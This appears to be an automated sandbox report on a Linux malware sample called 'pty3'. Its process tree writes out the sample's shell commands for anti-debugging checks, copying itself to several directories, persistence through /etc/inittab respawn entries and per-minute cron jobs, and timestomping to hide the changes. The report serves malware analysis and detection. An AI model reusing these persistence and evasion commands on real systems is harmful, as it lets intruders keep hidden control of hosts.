Analysis

  • max time kernel
    131s
  • max time network
    132s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20260513-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    04/06/2026, 18:13

General

  • Target
    pty3
  • Size 47KB
  • Sample260604-wt6y9aby3v
  • SHA256 0d762c8cbba56cd827c0dc710688d7410840940b9994020b8e365b63d3ff316c
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Creates/modifies Cron job 1 TTPs 5 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Indicator Removal: Timestomp 1 TTPs 10 IoCs

    Adversaries may remove indicators of compromise from the host to evade detection.

  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Changes its process name 1 IoCs
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to shm directory 1 IoCs

    Malware can drop malicious files in the shm directory which will run directly from RAM.

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/pty3
    /tmp/pty3
    1⤵
    • Changes its process name
    • Writes file to tmp directory
    PID:1541
    • /bin/sh
      sh -c "pidof -x strace > /dev/null"
      2⤵
        PID:1542
        • /bin/pidof
          pidof -x strace
          3⤵
          • Reads runtime system information
          PID:1543
      • /bin/sh
        sh -c "pidof -x tcpdump > /dev/null"
        2⤵
          PID:1544
          • /bin/pidof
            pidof -x tcpdump
            3⤵
            • Reads runtime system information
            PID:1545
        • /bin/sh
          sh -c "cat /etc/inittab | grep -v \"/tmp/pty3\" > /etc/inittab2"
          2⤵
            PID:1548
            • /bin/cat
              cat /etc/inittab
              3⤵
                PID:1550
              • /bin/grep
                grep -v /tmp/pty3
                3⤵
                  PID:1551
              • /bin/sh
                sh -c "crontab -l | grep /tmp/pty3 | grep -v \"no cron\" || (crontab -l ; echo \"* * * * * /tmp/pty3 > /dev/null 2>&1 &\") | crontab -"
                2⤵
                  PID:1549
                  • /bin/grep
                    grep -v "no cron"
                    3⤵
                      PID:1555
                    • /bin/grep
                      grep /tmp/pty3
                      3⤵
                        PID:1554
                      • /usr/bin/crontab
                        crontab -l
                        3⤵
                          PID:1553
                        • /usr/bin/crontab
                          crontab -
                          3⤵
                          • Creates/modifies Cron job
                          PID:1559
                        • /usr/bin/crontab
                          crontab -l
                          3⤵
                            PID:1561
                        • /bin/sh
                          sh -c "crontab -r"
                          2⤵
                            PID:1552
                            • /usr/bin/crontab
                              crontab -r
                              3⤵
                                PID:1556
                            • /bin/sh
                              sh -c "echo \"0:2345:respawn:/tmp/pty3\" >> /etc/inittab2"
                              2⤵
                                PID:1557
                              • /bin/sh
                                sh -c "cat /etc/inittab2 > /etc/inittab"
                                2⤵
                                  PID:1560
                                  • /bin/cat
                                    cat /etc/inittab2
                                    3⤵
                                      PID:1562
                                  • /bin/sh
                                    sh -c "rm -rf /etc/inittab2"
                                    2⤵
                                      PID:1563
                                      • /bin/rm
                                        rm -rf /etc/inittab2
                                        3⤵
                                          PID:1564
                                      • /bin/sh
                                        sh -c "touch -acmr /bin/ls /etc/inittab"
                                        2⤵
                                        • Indicator Removal: Timestomp
                                        PID:1565
                                        • /usr/bin/touch
                                          touch -acmr /bin/ls /etc/inittab
                                          3⤵
                                          • Indicator Removal: Timestomp
                                          PID:1566
                                      • /bin/sh
                                        sh -c "/bin/uname -n"
                                        2⤵
                                          PID:1569
                                          • /bin/uname
                                            /bin/uname -n
                                            3⤵
                                              PID:1571
                                          • /bin/sh
                                            sh -c "cp -f /tmp/pty3 /dev/shm/pty3"
                                            2⤵
                                              PID:1570
                                              • /bin/cp
                                                cp -f /tmp/pty3 /dev/shm/pty3
                                                3⤵
                                                • Reads runtime system information
                                                • Writes file to shm directory
                                                PID:1572
                                            • /bin/sh
                                              sh -c "cat /etc/inittab | grep -v \"/dev/shm/pty3\" > /etc/inittab2"
                                              2⤵
                                                PID:1574
                                                • /bin/grep
                                                  grep -v /dev/shm/pty3
                                                  3⤵
                                                    PID:1576
                                                  • /bin/cat
                                                    cat /etc/inittab
                                                    3⤵
                                                      PID:1575
                                                  • /bin/sh
                                                    sh -c "crontab -l | grep /dev/shm/pty3 | grep -v \"no cron\" || (crontab -l ; echo \"* * * * * /dev/shm/pty3 > /dev/null 2>&1 &\") | crontab -"
                                                    2⤵
                                                      PID:1577
                                                      • /usr/bin/crontab
                                                        crontab -l
                                                        3⤵
                                                          PID:1578
                                                        • /bin/grep
                                                          grep /dev/shm/pty3
                                                          3⤵
                                                            PID:1579
                                                          • /bin/grep
                                                            grep -v "no cron"
                                                            3⤵
                                                              PID:1580
                                                            • /usr/bin/crontab
                                                              crontab -
                                                              3⤵
                                                              • Creates/modifies Cron job
                                                              PID:1583
                                                            • /usr/bin/crontab
                                                              crontab -l
                                                              3⤵
                                                                PID:1585
                                                            • /bin/sh
                                                              sh -c "echo \"0:2345:respawn:/dev/shm/pty3\" >> /etc/inittab2"
                                                              2⤵
                                                                PID:1581
                                                              • /bin/sh
                                                                sh -c "cat /etc/inittab2 > /etc/inittab"
                                                                2⤵
                                                                  PID:1584
                                                                  • /bin/cat
                                                                    cat /etc/inittab2
                                                                    3⤵
                                                                      PID:1586
                                                                  • /bin/sh
                                                                    sh -c "rm -rf /etc/inittab2"
                                                                    2⤵
                                                                      PID:1587
                                                                      • /bin/rm
                                                                        rm -rf /etc/inittab2
                                                                        3⤵
                                                                          PID:1588
                                                                      • /bin/sh
                                                                        sh -c "touch -acmr /bin/ls /etc/inittab"
                                                                        2⤵
                                                                        • Indicator Removal: Timestomp
                                                                        PID:1589
                                                                        • /usr/bin/touch
                                                                          touch -acmr /bin/ls /etc/inittab
                                                                          3⤵
                                                                          • Indicator Removal: Timestomp
                                                                          PID:1590
                                                                      • /bin/sh
                                                                        sh -c "cp -f /tmp/pty3 /var/tmp/pty3"
                                                                        2⤵
                                                                          PID:1591
                                                                          • /bin/cp
                                                                            cp -f /tmp/pty3 /var/tmp/pty3
                                                                            3⤵
                                                                              PID:1592
                                                                          • /bin/sh
                                                                            sh -c "cat /etc/inittab | grep -v \"/var/tmp/pty3\" > /etc/inittab2"
                                                                            2⤵
                                                                              PID:1594
                                                                              • /bin/grep
                                                                                grep -v /var/tmp/pty3
                                                                                3⤵
                                                                                  PID:1596
                                                                                • /bin/cat
                                                                                  cat /etc/inittab
                                                                                  3⤵
                                                                                    PID:1595
                                                                                • /bin/sh
                                                                                  sh -c "crontab -l | grep /var/tmp/pty3 | grep -v \"no cron\" || (crontab -l ; echo \"* * * * * /var/tmp/pty3 > /dev/null 2>&1 &\") | crontab -"
                                                                                  2⤵
                                                                                    PID:1597
                                                                                    • /bin/grep
                                                                                      grep -v "no cron"
                                                                                      3⤵
                                                                                        PID:1600
                                                                                      • /bin/grep
                                                                                        grep /var/tmp/pty3
                                                                                        3⤵
                                                                                          PID:1599
                                                                                        • /usr/bin/crontab
                                                                                          crontab -l
                                                                                          3⤵
                                                                                            PID:1598
                                                                                          • /usr/bin/crontab
                                                                                            crontab -
                                                                                            3⤵
                                                                                            • Creates/modifies Cron job
                                                                                            PID:1607
                                                                                          • /usr/bin/crontab
                                                                                            crontab -l
                                                                                            3⤵
                                                                                              PID:1609
                                                                                          • /bin/sh
                                                                                            sh -c "echo \"0:2345:respawn:/var/tmp/pty3\" >> /etc/inittab2"
                                                                                            2⤵
                                                                                              PID:1604
                                                                                            • /bin/sh
                                                                                              sh -c "cat /etc/inittab2 > /etc/inittab"
                                                                                              2⤵
                                                                                                PID:1605
                                                                                                • /bin/cat
                                                                                                  cat /etc/inittab2
                                                                                                  3⤵
                                                                                                    PID:1608
                                                                                                • /bin/sh
                                                                                                  sh -c "rm -rf /etc/inittab2"
                                                                                                  2⤵
                                                                                                    PID:1610
                                                                                                    • /bin/rm
                                                                                                      rm -rf /etc/inittab2
                                                                                                      3⤵
                                                                                                        PID:1611
                                                                                                    • /bin/sh
                                                                                                      sh -c "touch -acmr /bin/ls /etc/inittab"
                                                                                                      2⤵
                                                                                                      • Indicator Removal: Timestomp
                                                                                                      PID:1612
                                                                                                      • /usr/bin/touch
                                                                                                        touch -acmr /bin/ls /etc/inittab
                                                                                                        3⤵
                                                                                                        • Indicator Removal: Timestomp
                                                                                                        PID:1613
                                                                                                    • /bin/sh
                                                                                                      sh -c "cp -f /tmp/pty3 /var/lock/pty3"
                                                                                                      2⤵
                                                                                                        PID:1614
                                                                                                        • /bin/cp
                                                                                                          cp -f /tmp/pty3 /var/lock/pty3
                                                                                                          3⤵
                                                                                                            PID:1615
                                                                                                        • /bin/sh
                                                                                                          sh -c "cat /etc/inittab | grep -v \"/var/lock/pty3\" > /etc/inittab2"
                                                                                                          2⤵
                                                                                                            PID:1617
                                                                                                            • /bin/grep
                                                                                                              grep -v /var/lock/pty3
                                                                                                              3⤵
                                                                                                                PID:1619
                                                                                                              • /bin/cat
                                                                                                                cat /etc/inittab
                                                                                                                3⤵
                                                                                                                  PID:1618
                                                                                                              • /bin/sh
                                                                                                                sh -c "crontab -l | grep /var/lock/pty3 | grep -v \"no cron\" || (crontab -l ; echo \"* * * * * /var/lock/pty3 > /dev/null 2>&1 &\") | crontab -"
                                                                                                                2⤵
                                                                                                                  PID:1620
                                                                                                                  • /bin/grep
                                                                                                                    grep /var/lock/pty3
                                                                                                                    3⤵
                                                                                                                      PID:1622
                                                                                                                    • /bin/grep
                                                                                                                      grep -v "no cron"
                                                                                                                      3⤵
                                                                                                                        PID:1623
                                                                                                                      • /usr/bin/crontab
                                                                                                                        crontab -l
                                                                                                                        3⤵
                                                                                                                          PID:1621
                                                                                                                        • /usr/bin/crontab
                                                                                                                          crontab -
                                                                                                                          3⤵
                                                                                                                          • Creates/modifies Cron job
                                                                                                                          PID:1626
                                                                                                                        • /usr/bin/crontab
                                                                                                                          crontab -l
                                                                                                                          3⤵
                                                                                                                            PID:1628
                                                                                                                        • /bin/sh
                                                                                                                          sh -c "echo \"0:2345:respawn:/var/lock/pty3\" >> /etc/inittab2"
                                                                                                                          2⤵
                                                                                                                            PID:1624
                                                                                                                          • /bin/sh
                                                                                                                            sh -c "cat /etc/inittab2 > /etc/inittab"
                                                                                                                            2⤵
                                                                                                                              PID:1627
                                                                                                                              • /bin/cat
                                                                                                                                cat /etc/inittab2
                                                                                                                                3⤵
                                                                                                                                  PID:1629
                                                                                                                              • /bin/sh
                                                                                                                                sh -c "rm -rf /etc/inittab2"
                                                                                                                                2⤵
                                                                                                                                  PID:1630
                                                                                                                                  • /bin/rm
                                                                                                                                    rm -rf /etc/inittab2
                                                                                                                                    3⤵
                                                                                                                                      PID:1631
                                                                                                                                  • /bin/sh
                                                                                                                                    sh -c "touch -acmr /bin/ls /etc/inittab"
                                                                                                                                    2⤵
                                                                                                                                    • Indicator Removal: Timestomp
                                                                                                                                    PID:1632
                                                                                                                                    • /usr/bin/touch
                                                                                                                                      touch -acmr /bin/ls /etc/inittab
                                                                                                                                      3⤵
                                                                                                                                      • Indicator Removal: Timestomp
                                                                                                                                      PID:1633
                                                                                                                                  • /bin/sh
                                                                                                                                    sh -c "cp -f /tmp/pty3 /var/run/pty3"
                                                                                                                                    2⤵
                                                                                                                                      PID:1634
                                                                                                                                      • /bin/cp
                                                                                                                                        cp -f /tmp/pty3 /var/run/pty3
                                                                                                                                        3⤵
                                                                                                                                        • Reads runtime system information
                                                                                                                                        PID:1635
                                                                                                                                    • /bin/sh
                                                                                                                                      sh -c "cat /etc/inittab | grep -v \"/var/run/pty3\" > /etc/inittab2"
                                                                                                                                      2⤵
                                                                                                                                        PID:1637
                                                                                                                                        • /bin/grep
                                                                                                                                          grep -v /var/run/pty3
                                                                                                                                          3⤵
                                                                                                                                            PID:1639
                                                                                                                                          • /bin/cat
                                                                                                                                            cat /etc/inittab
                                                                                                                                            3⤵
                                                                                                                                              PID:1638
                                                                                                                                          • /bin/sh
                                                                                                                                            sh -c "crontab -l | grep /var/run/pty3 | grep -v \"no cron\" || (crontab -l ; echo \"* * * * * /var/run/pty3 > /dev/null 2>&1 &\") | crontab -"
                                                                                                                                            2⤵
                                                                                                                                              PID:1640
                                                                                                                                              • /bin/grep
                                                                                                                                                grep -v "no cron"
                                                                                                                                                3⤵
                                                                                                                                                  PID:1643
                                                                                                                                                • /bin/grep
                                                                                                                                                  grep /var/run/pty3
                                                                                                                                                  3⤵
                                                                                                                                                    PID:1642
                                                                                                                                                  • /usr/bin/crontab
                                                                                                                                                    crontab -l
                                                                                                                                                    3⤵
                                                                                                                                                      PID:1641
                                                                                                                                                    • /usr/bin/crontab
                                                                                                                                                      crontab -
                                                                                                                                                      3⤵
                                                                                                                                                      • Creates/modifies Cron job
                                                                                                                                                      PID:1647
                                                                                                                                                    • /usr/bin/crontab
                                                                                                                                                      crontab -l
                                                                                                                                                      3⤵
                                                                                                                                                        PID:1649
                                                                                                                                                    • /bin/sh
                                                                                                                                                      sh -c "echo \"0:2345:respawn:/var/run/pty3\" >> /etc/inittab2"
                                                                                                                                                      2⤵
                                                                                                                                                        PID:1644
                                                                                                                                                      • /bin/sh
                                                                                                                                                        sh -c "cat /etc/inittab2 > /etc/inittab"
                                                                                                                                                        2⤵
                                                                                                                                                          PID:1645
                                                                                                                                                          • /bin/cat
                                                                                                                                                            cat /etc/inittab2
                                                                                                                                                            3⤵
                                                                                                                                                              PID:1648
                                                                                                                                                          • /bin/sh
                                                                                                                                                            sh -c "rm -rf /etc/inittab2"
                                                                                                                                                            2⤵
                                                                                                                                                              PID:1650
                                                                                                                                                              • /bin/rm
                                                                                                                                                                rm -rf /etc/inittab2
                                                                                                                                                                3⤵
                                                                                                                                                                  PID:1651
                                                                                                                                                              • /bin/sh
                                                                                                                                                                sh -c "touch -acmr /bin/ls /etc/inittab"
                                                                                                                                                                2⤵
                                                                                                                                                                • Indicator Removal: Timestomp
                                                                                                                                                                PID:1652
                                                                                                                                                                • /usr/bin/touch
                                                                                                                                                                  touch -acmr /bin/ls /etc/inittab
                                                                                                                                                                  3⤵
                                                                                                                                                                  • Indicator Removal: Timestomp
                                                                                                                                                                  PID:1653

                                                                                                                                                            Network

                                                                                                                                                                  MITRE ATT&CK Enterprise v16

                                                                                                                                                                  Replay Monitor

                                                                                                                                                                  Loading Replay Monitor...

                                                                                                                                                                  Downloads

                                                                                                                                                                  pty3

                                                                                                                                                                  • Path /dev/shm/pty3
                                                                                                                                                                  • Size 47KB
                                                                                                                                                                  • SHA256 0d762c8cbba56cd827c0dc710688d7410840940b9994020b8e365b63d3ff316c
                                                                                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                                                                                  inittab

                                                                                                                                                                  • Path /etc/inittab
                                                                                                                                                                  • Size 83B
                                                                                                                                                                  • SHA256 0a4eb5870807ef4406d093845baf96e7f8cc59effda08f32a4d73d489264d11a
                                                                                                                                                                  • MD5 SHA1 SHA512 TLSH

                                                                                                                                                                  inittab

                                                                                                                                                                  • Path /etc/inittab
                                                                                                                                                                  • Size 113B
                                                                                                                                                                  • SHA256 247ae0a8c28f9e39397c45a9e586b8b2c371878cf8814f9cf41c76aa05939552
                                                                                                                                                                  • MD5 SHA1 SHA512 TLSH

                                                                                                                                                                  inittab2

                                                                                                                                                                  • Path /etc/inittab2
                                                                                                                                                                  • Size 54B
                                                                                                                                                                  • SHA256 e5018fad1758921486984b6c0d39050ec65f06908d99387dc15363ca5557c581
                                                                                                                                                                  • MD5 SHA1 SHA512 TLSH

                                                                                                                                                                  inittab2

                                                                                                                                                                  • Path /etc/inittab2
                                                                                                                                                                  • Size 142B
                                                                                                                                                                  • SHA256 bf7a744dcb866fe6c59f07c77d2b579c84b057f79321028b6b45320e4f6a2eed
                                                                                                                                                                  • MD5 SHA1 SHA512 TLSH

                                                                                                                                                                  inittab2

                                                                                                                                                                  • Path /etc/inittab2
                                                                                                                                                                  • Size 25B
                                                                                                                                                                  • SHA256 bf305607b10a91ee18ceef3ca7843f016eba8e25cfaa8c4bb88ae79c2c06f561
                                                                                                                                                                  • MD5 SHA1 SHA512

                                                                                                                                                                  tmp.6JGY8a

                                                                                                                                                                  • Path /var/spool/cron/crontabs/tmp.6JGY8a
                                                                                                                                                                  • Size 387B
                                                                                                                                                                  • SHA256 360ee6f457350a70a9fda0a934a0b2c342c15e254fd6c3caecd11610027b1cae
                                                                                                                                                                  • MD5 SHA1 SHA512 TLSH

                                                                                                                                                                  tmp.N0pJU1

                                                                                                                                                                  • Path /var/spool/cron/crontabs/tmp.N0pJU1
                                                                                                                                                                  • Size 214B
                                                                                                                                                                  • SHA256 b8f4e291192b5a704ee90dadef71a5b2b03a9bf1758bc7ee2ad7fa024e3bf465
                                                                                                                                                                  • MD5 SHA1 SHA512 TLSH

                                                                                                                                                                  tmp.Q7UhU5

                                                                                                                                                                  • Path /var/spool/cron/crontabs/tmp.Q7UhU5
                                                                                                                                                                  • Size 300B
                                                                                                                                                                  • SHA256 a41b02a5c6c55aeb2576dba357d1b4984fd99ef3243589365f3ce7fd1d5877ed
                                                                                                                                                                  • MD5 SHA1 SHA512 TLSH

                                                                                                                                                                  tmp.ZkoCP3

                                                                                                                                                                  • Path /var/spool/cron/crontabs/tmp.ZkoCP3
                                                                                                                                                                  • Size 257B
                                                                                                                                                                  • SHA256 66ac30838eb61265100260d0f958807644e43e41131af618c8cfbdb881f9fef0
                                                                                                                                                                  • MD5 SHA1 SHA512 TLSH

                                                                                                                                                                  tmp.zTe1b8

                                                                                                                                                                  • Path /var/spool/cron/crontabs/tmp.zTe1b8
                                                                                                                                                                  • Size 344B
                                                                                                                                                                  • SHA256 aab736f013ee13906624e6297affaf21c813c15eefd5af2450f532351943fbe9
                                                                                                                                                                  • MD5 SHA1 SHA512 TLSH